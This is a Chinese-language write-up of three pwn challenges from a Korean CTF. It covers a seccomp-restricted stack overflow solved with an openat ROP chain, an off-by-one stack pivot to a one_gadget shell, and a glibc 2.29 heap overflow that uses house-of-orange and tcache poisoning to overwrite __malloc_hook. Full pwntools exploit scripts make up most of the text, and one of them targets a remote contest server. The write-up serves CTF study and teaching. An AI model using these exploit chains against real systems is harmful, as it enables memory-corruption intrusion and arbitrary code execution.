此比赛是韩国的一个CTF比赛,题目质量还可以。题目构思精细,比较有意思。
此题是此次Pwn中较为简单的一道题目,主要是一道考察栈溢出和secomp的题目。 有栈溢出漏洞但是限制了部分syscall。 不能调用system("/bin/sh"),open被限制了但是没有限制openat , 那么这里可以使用openat syscall来打开flag文件,然后读取并write。exp如下:
#coding:utf-8 from pwn import * # context.terminal = ['tmux','split','-h'] # io = process('./seccomp') io = remote('211.239.124.246',12403) # io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", './seccomp' ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"}) elf = ELF('./seccomp') libc = ELF('./libc.so.6') context.binary = './seccomp' pop_rdi = 0x0000000000400eb3 pop_rsi_r15 = 0x0000000000400eb1#: pop rsi; pop r15; ret; main = 0x400A96 io.sendlineafter("Input your age","1") payload1 = 'a' * 280 + flat(0x0000000000400eb3,elf.got['__libc_start_main'],elf.plt['puts'],0x400A96) io.sendlineafter("name",payload1) start_main_got = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00')) success("start_main_got == > " + hex(start_main_got)) libc_base = start_main_got - libc.symbols['__libc_start_main'] success("libc_base == > " + hex(libc_base)) io.sendlineafter("Input your age","1") """ read(0,0x602070,0x10) # bss """ payload1 = 'a' * 280 + flat( pop_rdi, 0x0, pop_rsi_r15, 0x602070, 0x0, libc.symbols['read'] + libc_base, main ) """ Gadget Here 0x0000000000033544: pop rax; ret; shared library 0x0000000000021102: pop rdi; ret; 0x00000000000202e8: pop rsi; ret; 0x00000000001150c9: pop rdx; pop rsi; ret; 0x00000000000ea69a: pop rcx; pop rbx; ret; """ # gdb.attach(io,'') # raw_input() io.sendlineafter("name",payload1) pause() io.send("/home/seccomp/flag\x00") # io.send("./flag.txt\x00") io.sendlineafter("age","1") # junk payload1 = 'a' * 280 + flat( 0x0000000000033544 + libc_base, 0x101, 0x0000000000021102 + libc_base, 0xffffff9c, 0x00000000001150c9 + libc_base, 0x0, 0x602070, 0x00000000000bc375 + libc_base, 0x0000000000021102 + libc_base, 0x3, 0x00000000001150c9 + libc_base, 0x100, 0x602070, libc.symbols['read'] + libc_base, 0x0000000000021102 + libc_base, 0x1, 0x00000000001150c9 + libc_base, 0x100, 0x602070, libc.symbols['write'] + libc_base, ) # gdb.attach(io,'') # raw_input() io.sendlineafter("name",payload1) io.interactive()
这题还是挺有意思的,漏洞点不是那么显而易见。比较有隐藏性。
程序的主要逻辑:
1.打开/dev/urandom并生成随机数种子
2.两个功能,第一个生成随机sha1,第二个是和特定hex对比。
3.整个程序我们可控制的范围很小。没有明显的栈溢出漏洞。
刚开始没啥思路,就checksec了一下 发现没有开启栈保护,于是乎猜测和栈溢出有关?
写上脚本盲跑一番,果然程序崩溃了。我们读取index选择功能的时候,输入一串'a'居然覆盖了eip。当时就比较懵。没有分析其具体原因,找了一下偏移,偏移是8,总共能输入32个字节,
构造ROP链只有24个字节,也就是只能执行一个函数的函数,然后执行完了连ret的地址也控制不了,当时就陷入了僵局。翻了翻函数表,发现一个函数没有被程序用到,可能是作者留下的暗门函数。 这个可以控制读取的地方,你通过多次输入发现size其实是和我们输入的eip的前8个字节的最后一个字节有关。后面的技术是栈迁移技术。
我们这里谈一下,如何造成了(栈溢出漏洞):
看此图
这里函数传入一个buf变量给gensha1。此变量的大小是24。sprintf函数用于拼接index和sha1。当index大于100就会导致破坏ebp,最后一个字节被覆盖为0x00。 这样直接我们返会到main再返回到__libc_start_main,两个leave会导致esp发生变化。通过不断调试,可以使esp的位置指向我们输入chooice的位置。这样我们就可以写eip了。这里是本漏洞的成因。下面是利用exp:
#coding:utf-8 from pwn import * context.terminal = ['tmux','split','-h'] io = process('./sha1breaker') elf = ELF('./sha1breaker') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.binary = './sha1breaker' # io = remote('bincat.kr',30420) pop_rsi_r15 = 0x0000000000400ec1#: pop rsi; pop r15; ret; pop_rdi = 0x400ec3 def gensha1(): io.sendlineafter(">>","1") def compare(): io.sendlineafter(">","2") def exp(): one = [0x4f2c5,0x4f322,0x10a38c] for i in range(99): gensha1() # gdb.attach(io,'b *0x400CAD\nc') # print i sleep(0.3) # io.sendline('aaaaaaaa12345678bbbbbbbb') rop_chain1 = p64(0x6020f0) + p64(0x400ec3) + p64(0x6020f8) + p64(0x400ABD) io.send(rop_chain1) # pause() sleep(0.3) rop_chain2 = flat(pop_rdi,elf.got['puts'],elf.plt['puts'],pop_rdi,0x0,pop_rsi_r15,0x602140,0x0,elf.plt['read']) io.send(rop_chain2) leak = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00')) base = leak - libc.symbols['puts'] system = base + libc.symbols['system'] rop_chain3 = flat(base + one[1]) # rop_chain3 = flat(pop_rdi + 1,pop_rdi,0x602160,system) + "/bin/sh\x00" io.send(rop_chain3) io.interactive() if __name__ == "__main__": try: exp() except EOFError as e: exit(0)
这是一个libc2.29版本的程序,程序只有两个功能,一个malloc,一个edit。edit函数可以导致堆溢出。那么这里猜测可能要通过一些技巧制造出free的chunk。这里用的最多的就是攻击top_chunk。具体技巧可以参考house-of-orange。制造出free chunk之后使用tcache dup,利用_IO_stdout泄露。然后继续使用该技巧去修改__malloc_hook。具体exp如下:
#coding:utf-8 from pwn import * context.terminal = ['tmux','split','-h'] context.binary = './problem' io = process('./problem') libc = ELF('./libc.so.6') """ [M]alloc [E]dit [B]ye > M size > 123 content > 123 ======== [M]alloc [E]dit [B]ye > E size > 123 content > 123Alarm c """ def malloc(sz,con): io.sendlineafter(">","M") io.sendlineafter(">",str(sz)) io.sendafter(">",con) def edit(sz,con): io.sendlineafter(">","E") io.sendlineafter(">",str(sz)) io.sendafter(">",con) def debug(): gdb.attach(io,'') def exp(): addr_stdout = 0x404020 for i in range(10): malloc(0x128, "junk") malloc(0x78, "junk") # house of orange malloc(0x10, "A" * 0x10) payload = 'A' * 0x10 payload += flat(0x0,0x131).decode('utf-8') edit(0x20, payload) io.sendlineafter("> ", "M") io.sendlineafter("> ", "1" * 0x400) payload = "A" * 0x10 payload += (p64(0) + p64(0x111) + p64(addr_stdout)).decode('utf-8') edit(0x10 + 0x18, payload) malloc(0x108, "dummy") malloc(0x108, "\x60") # stdout: don't corrupt this malloc(0x108, (p64(0xfbad1800) + p64(0) * 3) + b"\x88") libc_base = u64(io.recvuntil("\x7f")[-6:] + b'\x00\x00') - 0x1e57e3 info("libc base = " + hex(libc_base)) for i in range(13): malloc(0x118,'junk') malloc(0x80,'A' * 0x10) payload = b'A' * 0x80 payload += flat(0x0,0xd1) edit(0x90,payload) io.sendlineafter(">","M") io.sendlineafter(">","1" * 0x500) payload = b'A' * 0x80 payload += flat(0x0,0xb1) payload += flat(libc_base + libc.symbols['__malloc_hook']) edit(0x98,payload) malloc(0xa8,'junk') malloc(0xa8,p64(libc_base + 0x106ef8)) io.sendlineafter(">","M") io.sendlineafter(">","100") # debug() io.interactive() if __name__ == "__main__": exp()